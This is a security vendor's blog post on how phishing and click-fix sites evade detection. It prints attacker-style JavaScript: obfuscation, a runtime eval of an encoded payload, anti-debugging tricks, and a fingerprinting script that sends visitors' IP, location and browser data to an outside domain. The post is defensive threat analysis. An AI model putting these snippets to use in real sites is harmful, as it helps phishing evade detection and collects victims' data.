Since Evilginx was invented in 2017, phishing attacks using this method have increased significantly. Before that, phishing was simpler, attackers would create a mimic page that requested a username and password, which was then forwarded to the attacker’s server
However, with the introduction and widespread enforcement of multi-factor authentication (MFA), the use of reverse proxies for phishing has grown. Tools like EvilGinx, GoPhish, and PhishyFish have become some of the most commonly used platforms for phishing. Although these tools were originally intended for phishing simulations and security awareness training, many attackers have exploited them unethically, leading to numerous phishing campaigns targeting corporations and individuals
In response, security products have developed methods to detect and block these attacks by identifying phishing sites based on specific criteria
In this blog series, we highlight the new techniques attackers use to conceal their phishing websites and evade detection
As is well known, most email protection solutions block certain URLs in emails. To bypass this, attackers have adopted new techniques. One of the most recent and popular methods involves SVG files. Attackers can hide phishing links inside SVGs, as discussed in this blog.
The second technique leverages JavaScript on websites—not just using it but obfuscating it to a level that security solutions cannot easily analyze or detect.
Malicious scripts use obfuscators to rename variables, encode strings, and restructure logic:
var _0x2a1b = ['log'];
console[_0x2a1b[0]]("Hacked!");
// => console.log("Hacked!")
Payloads are decoded at runtime using chained eval() or Function() calls:
let fn = 'e' + 'v' + 'a' + 'l';
(0, globalThis[fn])(LZString.decompressFromBase64(encodedPayload));
//Using (0, globalThis[fn]) detaches eval from the local scope, ensuring it runs globally.
Anti-debugging logic includes:
document.addEventListener("contextmenu", e => e.preventDefault());
document.onkeydown = e => {
if (e.key === "F12" || (e.ctrlKey && e.shiftKey && e.key === "I"))
return false;
};
setInterval(() => {
const t = new Date();
debugger;
if (new Date() - t > 100) location.href = "about:blank";
}, 1000);
Another example related to JavaScript, used in both phishing and “click-fix” attacks, is as follows:
Click-fix is a technique that tricks users into copying and executing a malicious command in order to complete a CAPTCHA challenge.
This technique often involves checking the user-agent to identify the operating system in use. For example, Linux is frequently used in investigations and analysis because it is lightweight and can easily be run in virtual machines
This code checks for cookies in the browser, specifically looking for the “isCompleted” cookie.
The main purpose is to gather information about the operating system and browser, along with the current URL, to understand how a user is investigating the site and to collect data about visitors. This can be accomplished by sending a request to Cloudflare’s trace API: https://www.cloudflare.com/cdn-cgi/trace.
Below is a similar deobfuscated code snippet that can achieve the same functionality:
let client = new HttpClient();
// Call Cloudflare Trace API (to get visitor IP & location)
client.get("https://www.cloudflare.com/cdn-cgi/trace", function (traceResponse) {
let data = traceResponse.trim().split("\n").reduce(function (obj, line) {
let parts = line.split("=");
obj[parts[0]] = parts[1];
return obj;
}, {});
// Detect browser
function getBrowser() {
let ua = navigator.userAgent;
if (ua.indexOf("Opera") != -1 || ua.indexOf("OPR") != -1) return "Opera";
if (ua.indexOf("Edg") != -1) return "Edge";
if (ua.indexOf("Chrome") != -1) return "Chrome";
if (ua.indexOf("Safari") != -1) return "Safari";
if (ua.indexOf("Firefox") != -1) return "Firefox";
if (ua.indexOf("MSIE") != -1 || !!document.documentMode) return "IE";
return "Unknown";
}
// Detect OS
function getOS() {
let platform = window.navigator.userAgent.toLowerCase();
if (/macintosh|macintel|macppc|mac68k|macos/.test(platform)) return "macos";
if (/iphone|ipad|ipod/.test(platform)) return "ios";
if (/win32|win64|windows|wince/.test(platform)) return "windows";
if (/android/.test(platform)) return "android";
if (/linux/.test(platform)) return "linux";
return null;
}
let os = getOS();
let browser = getBrowser();
// Collect information
let referrer = window.location.href;
let uaString = window.navigator.userAgent.toLowerCase();
let domain = "https://louglas.com"; // Hardcoded domain
// Build tracking URL
let trackingUrl =
domain +
"/js.php?device=" + os +
"&ip=" + btoa(data["ip"]) +
"&domain=" + btoa(referrer) +
"&browser=" + btoa(browser) +
"&ua=" + btoa(uaString) +
"&refferer=" + btoa(domain) +
"&loc=" + btoa(data["loc"]) +
"&is_ajax=1";
});
The obfuscated code was taken from a recent campaign analyzed by Malware Traffic Analysis, which highlighted the Kongtuke-style injected script used in a click-fix campaign.
In the demonstration below, we highlighted how malicious sites can check an attacker’s data and redirect them based on that information. For example, the demo checks if the user is using Linux and redirects them to wizardcyber.com
As a Microsoft Partner and trusted MSSP, Wizard Cyber delivers proactive protection, threat detection, and incident response to mitigate threats like these. Our services are powered by advanced threat intelligence and integrate seamlessly with Microsoft technologies.
Our Services Include:
Our global SOC team works around the clock to monitor for dark web activity, detect breaches early, and help you harden your identity and access security
This example illustrates how attackers leverage operating system and browser detection to tailor their phishing or click-fix attacks. In Part 2 of this blog series, we will explore additional advanced techniques used by threat actors to evade detection and target users more effectively.
As cyber threats grow more complex, proactive detection is no longer optional.
With Wizard Cyber’s Microsoft expertise, organizations can transform their security posture and gain real-time visibility across all endpoints.
Start your journey to smarter, faster cybersecurity today.
Discover blogs that deepen your knowledge and accelerate your security strategy.
Wizard Cyber’s first line of defense in proactive threat intelligence. CSI is dedicated to the identification, monitoring, and analysis of emerging cyber threats, including activity across the dark web, underground forums, and threat actor infrastructure. Leveraging advanced threat intelligence platforms, OSINT tools, and adversary tracking methodologies, the team provides actionable intelligence to anticipate attacks before they occur. With expertise in threat actor profiling, TTP mapping (aligned with the MITRE ATT&CK framework), and IOC enrichment, CSI equips clients with the critical insights needed to fortify defenses, mitigate risk, and stay ahead of evolving threat landscapes.
Copyright by Wizard Cyber. All rights reserved.
Copyright by Wizard Cyber. All rights reserved.WIZARD CYBERHeadquarters
Providing enterprises with bespoke & powerful managed solutions to protect against all forms of cybercrimeOUR LOCATIONSWhere to find us?
WIZARD CYBERHeadquarters
Providing enterprises with bespoke & powerful managed solutions to protect against all forms of cybercrimeOUR LOCATIONSWhere to find us?
GET IN TOUCHLatest Updates
Stay up to date with the latest news from Wizard Cyber and the cybersecurity industry
